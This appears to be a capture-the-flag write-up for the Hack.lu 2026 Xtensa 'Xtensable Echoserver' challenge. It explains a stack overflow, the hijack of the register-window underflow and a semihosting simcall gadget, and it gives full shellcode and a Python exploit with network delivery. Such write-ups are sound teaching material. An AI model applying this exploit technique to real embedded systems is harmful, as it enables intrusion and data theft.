$ cat writeup.md…
$ cat writeup.md…
Hack.lu2026
Task: Zephyr RTOS echo server on Xtensa dc233c under QEMU semihosting with a 128-byte overflow into a 16-byte stack buffer. Solution: hijack the windowed-ABI retw underflow to reach a bare simcall gadget, stage shellcode into .text via SYS_read, then SYS_open/read/write the host flag with semihosting.
Xtensable Echoserver
appcontains the source code of the challenge. You can use west to build it yourself, but this is not required to solve the challenge.You can start the full deployment the same way we have it running with docker compose. Or use
./run.shto just start the QEMU directly.Getting the Flag
The flag is outside of the QEMU. Use semihosting via simcalls to open and read the flag. You don't need to escape the QEMU.
Debugging
Download the Xtensa SDK for DC233C from the zephyr project. Then run
./run.sh -s -Sto start QEMU with debugging enabled. Run gdb from the SDK and connect to the QEMU for debugging.
English summary: a Zephyr RTOS application is provided as a non-stripped Xtensa
dc233c ELF (zephyr.elf). It runs under
qemu-system-xtensa -machine sim -cpu dc233c -semihosting -nographic and is
exposed over TCP by ynetd. The application is a trivial "echo server" with a
classic stack buffer overflow: echo() reads up to 128 bytes into a 16-byte
stack buffer. The README explicitly states the flag lives outside QEMU and must
be read through semihosting simcalls — no QEMU escape is required.
app/src/main.c:
void echo(void) { char buf[16]; printk("Enter message to echo: "); read_line(buf, 128); /* <-- 128 bytes into a 16-byte buffer */ printk("\nmessage: %s\n", buf); } int menu(void) { char buf[16]; printk("Choose option:\n1: echo message\n2: exit\n"); read_line(buf, sizeof(buf)); if (buf[0] == '1') { echo(); } else if (buf[0] == '2') { return 1; } ... return 0; } void echo_server(void) { int ret = 0; while (!ret) ret = menu(); printk("Goodbye\n"); }
read_line(buffer, n) reads exactly n bytes (it stops only at '\n',
otherwise fills n bytes and returns without a NUL) and does no bound check
against the destination. Option 1 therefore lets us overflow echo()'s stack
frame by up to 128 - 16 = 112 bytes.
The provided ELF is not stripped. Sections and the important facts:
.text 0x00100000 .. 0x00103000 — executable, mapped RX.CONFIG_XTENSA_MMU is enabled, so .data, .bss, .rodata and the stack
are NX. Jumping to the stack raises an InstFetchProhibited exception
(cause 12), so the naive "spray shellcode on the stack and return to it"
family is dead.z_main_stack at 0x0013cc00 (size 0x800), echo()'s buf at
0x13d310, menu()'s sp 0x13d340, echo_server()'s sp 0x13d370.The only way to execute attacker code is to stage it into .text or build a
ROP chain.
Xtensa uses a register window mechanism. echo() starts with
entry a1, 48; the call chain main -> echo_server -> menu -> echo -> read_line -> fgetc ... overflows the physical register file, so the hardware calls
_WindowOverflow8 (0x2080) to spill registers and _WindowUnderflow8
(0x20c0) on retw to reload the caller's window. The underflow handler
reconstructs the caller window from memory using:
_WindowUnderflow8: ; a9 = deeper callee's stack pointer
l32e a0, a9, -16
l32e a1, a9, -12
l32e a2, a9, -8
l32e a7, a1, -12
l32e a3, a9, -4
l32e a4, a7, -32
l32e a5, a7, -28
l32e a6, a7, -24
l32e a7, a7, -20
rfwu
Black-box plus gdb tracing established two decisive facts:
0..31 and 36..79 of the
128-byte buffer are overwritten by the window spill/restore machinery with
deterministic values before the returns happen. Only two regions survive
and remain attacker-controlled:
0x13d330) — this becomes echo_server's a0
(its return address), because menu's retw underflow reloads a0 from
[menu_sp-16] = 0x13d330.0x13d360..0x13d38f).echo_server's retw (pc 0x1003e1), the handler runs with
a9 = echo_server sp (0x13d370) and restores the calling (main) window
registers from the surviving words. With the a7 = mem[a1-12] chain
arranged so that a7-32 lands in the controlled region, offsets
80,84,88,92,96,100 map to a0,a1,a2,a3,a4,a5 of the hijacked PC.Additionally, RETW legality (QEMU target/xtensa/win_helper.c,
HELPER(test_ill_retw)) requires n = a0 >> 30 to be nonzero and equal to
the number of register windows to pop (2 for a call8). Bare addresses
(n == 0) raise an illegal-instruction exception at the retw. Hijacked
return addresses must therefore be written as 0x80000000 | target. The
actual retw target is (retw_pc & 0xC0000000) | (a0 & 0x3FFFFFFF).
Semihosting syscall numbers on Xtensa are little-endian OpenRISC-style:
SYS_read = 3, SYS_write = 4, SYS_open = 5; a2 = number,
a3/a4/a5 = args. Crucially, when the fd is >= 3, QEMU's semihosting
performs a host open()/read()/write(), so the flag file mounted at
/flag.txt (see docker-compose.yml: ./flag.txt:/flag.txt:ro) can be opened
and read directly from the console-driven guest.
A bare simcall instruction exists at 0x1023e3 inside char_out
(0x1023d8), whose continuation is mov a2,a5; retw.n. That gives us a
one-shot ROP gadget: run a semihosting call, then retw.n returns to a
controlled a0.
.text via a simcall ROP gadgetStep 1 (retw hijack + stage load). Overflow offset 32 with
PC1 = 0x80000000 | 0x1023e3 (the simcall gadget) and set the registers
restored by echo_server's retw:
a2 = 3 (SYS_read)a3 = 0 (fd 0 = the console/stdin)a4 = 0x102f00 (inside .text — the staging address)a5 = 0x100 (length)The first simcall performs SYS_read(0, 0x102f00, 0x100). QEMU's semihosting
maps guest memory physically, and the MMU NX attribute does not block the
host-side semihosting store, so it writes the remaining console input (our
second-stage shellcode) straight into executable .text.
Step 2 (execute staged code). The gadget's retw.n returns to a0,
which we set to 0x80000000 | entry where entry is the staged shellcode entry
point (e.g. 0x102f08). The freshly written code now runs from executable
memory.
Staged second-stage shellcode (assembled with the Xtensa toolchain, linked
at 0x102f00 so the l32r literals for path/outbuf resolve):
.text .align 4 .global _start _start: movi a2, 5 ; SYS_open movi a3, path ; "/flag.txt" movi a4, 0 movi a5, 0 simcall mov a3, a2 ; a3 = fd movi a2, 3 ; SYS_read movi a4, outbuf movi a5, 0x80 simcall mov a5, a2 ; a5 = bytes read movi a2, 4 ; SYS_write movi a3, 1 ; fd 1 = console movi a4, outbuf simcall 1: j 1b .align 4 path: .asciz "/flag.txt" .align 4 outbuf: .zero 4
b"1\n" + <128-byte crafted overflow payload, NO trailing newline> + b"2\n" + <0x100 bytes of staged shellcode>
"1" enters echo(). read_line reads exactly 128 bytes (n = 128), so the
payload is not NUL-truncated and fully fills the surviving field set."2" makes menu() return 1 -> echo_server() prints Goodbye -> its
retw triggers the hijack in Step 1.0x100 bytes are consumed by the staged
SYS_read(0, 0x102f00, 0x100).Payload field layout (offsets from buf; the words filled by the hardware's
deterministic spill values are copied verbatim so earlier returns stay valid):
| Offset | Value | Meaning |
|---|---|---|
| 16 | 0x00000000 | deterministic spill value |
| 20,24,28 | 0x00103a9c | deterministic spill value |
| 32 | 0x80000000 | 0x1023e3 | PC1 = simcall gadget |
| 36 | 0x0013d370 | deterministic spill value |
| 40 | 0x001002e4 | deterministic spill value |
| 44 | 0x00141000 | deterministic spill value |
| 48..76 | (see script) | deterministic spill values |
| 80 | 0x80000000 | entry | a0 -> PC2 staged entry |
| 84 | 0x0013d390 | a1 (also chain base) |
| 88 | 3 | a2 = SYS_read |
| 92 | 0 | a3 = fd 0 |
| 96 | 0x102f00 | a4 = stage address |
| 100 | 0x100 | a5 = length |
| 104..112 | (see script) | deterministic spill values |
| 116 | 0x0013d390 | so a7 = mem[0x13d384] = 0x13d390, making a4 = mem[a7-32] (off 96), a5 = mem[a7-28] (off 100) |
| 120,124 | 0 |
Assemble the staged shellcode with the Xtensa SDK, embed the path string, and build the input stream:
#!/usr/bin/env python3 """Xtensable Echoserver exploit (staged shellcode in .text).""" import struct, os, subprocess, sys HERE = os.path.dirname(os.path.abspath(__file__)) BIN = os.path.join(HERE, "tools", "xtensa-dc233c_zephyr-elf", "bin") AS = os.path.join(BIN, "xtensa-dc233c_zephyr-elf-as") LD = os.path.join(BIN, "xtensa-dc233c_zephyr-elf-ld") OC = os.path.join(BIN, "xtensa-dc233c_zephyr-elf-objcopy") NM = os.path.join(BIN, "xtensa-dc233c_zephyr-elf-nm") STAGE_ADDR = 0x102f00 # free executable space inside .text SIMCALL_GADGET = 0x1023e3 # bare `simcall` inside char_out() LEN = 0x100 # stage payload length def p32(x): return struct.pack("<I", x) def assemble(path_str): src = r''' .text .align 4 .global _start _start: movi a2, 5 movi a3, path movi a4, 0 movi a5, 0 simcall mov a3, a2 movi a2, 3 movi a4, outbuf movi a5, 0x80 simcall mov a5, a2 movi a2, 4 movi a3, 1 movi a4, outbuf simcall 1: j 1b .align 4 path: .asciz "%(path)s" .align 4 outbuf: .zero 4 ''' % {"path": path_str} open(os.path.join(HERE, "sc3.S"), "w").write(src) subprocess.check_call([AS, "-o", os.path.join(HERE,"sc3.o"), os.path.join(HERE,"sc3.S")]) subprocess.check_call([LD, "-Ttext=0x%x" % STAGE_ADDR, "-e", "_start", "-o", os.path.join(HERE,"sc3.elf"), os.path.join(HERE,"sc3.o")]) subprocess.check_call([OC, "-O", "binary", os.path.join(HERE,"sc3.elf"), os.path.join(HERE,"sc3.bin")]) out = subprocess.check_output([NM, os.path.join(HERE,"sc3.elf")]).decode() entry = None for line in out.splitlines(): if line.strip().endswith(" _start"): entry = int(line.split()[0], 16) blob = open(os.path.join(HERE,"sc3.bin"), "rb").read() return entry, blob # Deterministic values written by the window spill/underflow machinery at # echo()'s retw. These must be preserved so the earlier returns stay valid. ECHO_RETW = { 16:0x00000000, 20:0x00103a9c, 24:0x00103a9c, 28:0x00103a9c, 36:0x0013d370, 40:0x001002e4, 44:0x00141000, 48:0x00000031, 52:0x0013d400, 56:0x00101bac, 60:0x00141000, 64:0x000007f7, 68:0x00000001, 72:0x000007ff, 76:0x0013d400, 80:0x80002cb8, 84:0x0013d390, 88:0x001039ec, 92:0x00137160, 96:0x00142000,100:0x0000000c,104:0x001371d8,108:0x00137080, 112:0x8010128c,116:0x0013d3b0,120:0x00000000,124:0x00000000, } def build(entry): w = bytearray(b"\x00"*128) for off, val in ECHO_RETW.items(): w[off:off+4] = p32(val) w[32:36] = p32(0x80000000 | SIMCALL_GADGET) # PC1 -> simcall gadget w[80:84] = p32(0x80000000 | entry) # a0 -> PC2 (staged entry) w[84:88] = p32(0x0013d390) # a1 (chain base) w[88:92] = p32(3) # a2 = SYS_read w[92:96] = p32(0) # a3 = fd 0 w[96:100] = p32(STAGE_ADDR) # a4 = stage address w[100:104] = p32(LEN) # a5 = length w[116:120] = p32(0x0013d390) # a7 chain -> a4/a5 return bytes(w) def main(): path = sys.argv[1] if len(sys.argv) > 1 else "/flag.txt" out = sys.argv[2] if len(sys.argv) > 2 else os.path.join(HERE, "exploit.bin") entry, blob = assemble(path) print("_start = %#x, blob len %d" % (entry, len(blob))) assert len(blob) <= LEN blob = blob + b"\x00" * (LEN - len(blob)) data = b"1\n" + build(entry) + b"2\n" + blob open(out, "wb").write(data) print("wrote", out, len(data)) if __name__ == "__main__": main()
Deliver it over the network in a single sendall and read the console output:
python3 build2.py "/flag.txt" exploit_remote.bin python3 -c "import socket;s=socket.create_connection(('xtensable-echoserver.flu.xxx',1024));\ s.sendall(open('exploit_remote.bin','rb').read());print(s.recv(65535).decode('latin1'))"
The staged SYS_write(1, outbuf, n) dumps the host file contents to the console,
yielding flag{REDACTED}.
public.zip (zephyr.elf, app/src/main.c, run.sh, Dockerfile,
debugging/).dc233c (Zephyr SDK v1.0.1
toolchain_gnu_*_xtensa-dc233c_zephyr-elf) to get as/ld/objcopy/nm/gdb.as, link with
ld -Ttext=0x102f00 -e _start -o sc3.elf sc3.o, then
objcopy -O binary. Read the _start vaddr with nm.flag.txt in the cwd and run ./run.sh with the
exploit on stdin. Use -S -gdb tcp::1234 plus the SDK gdb to trace, and
-d int,guest_errors -D log to see exception causes: cause 12 =
instruction fetch prohibited (jumped to NX memory, e.g. the stack) and
cause 0 = illegal instruction (a retw whose a0>>30 == 0).debugging/fault.gdb / debugging/debug.sh
to break on the exception handlers.Use this technique when:
dc233c) run under
qemu-system-xtensa -machine sim -semihosting with a read_line-style
overflow.instruction fetch prohibited because
CONFIG_XTENSA_MMU marks .data/.bss/stack NX — you must stage code into
.text or ROP.retw
(a0 >> 30 == 0) — Xtensa retw requires the window-pop count bits set, so
encode return addresses as 0x80000000 | addr._WindowOverflow8 / _WindowUnderflow8) rewrite most of the frame; find
the surviving words via gdb tracing rather than assuming a contiguous saved
PC.simcall instruction followed by retw exists in the binary
(here inside char_out) — a perfect one-shot gadget to invoke a syscall and
then pivot to staged shellcode.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar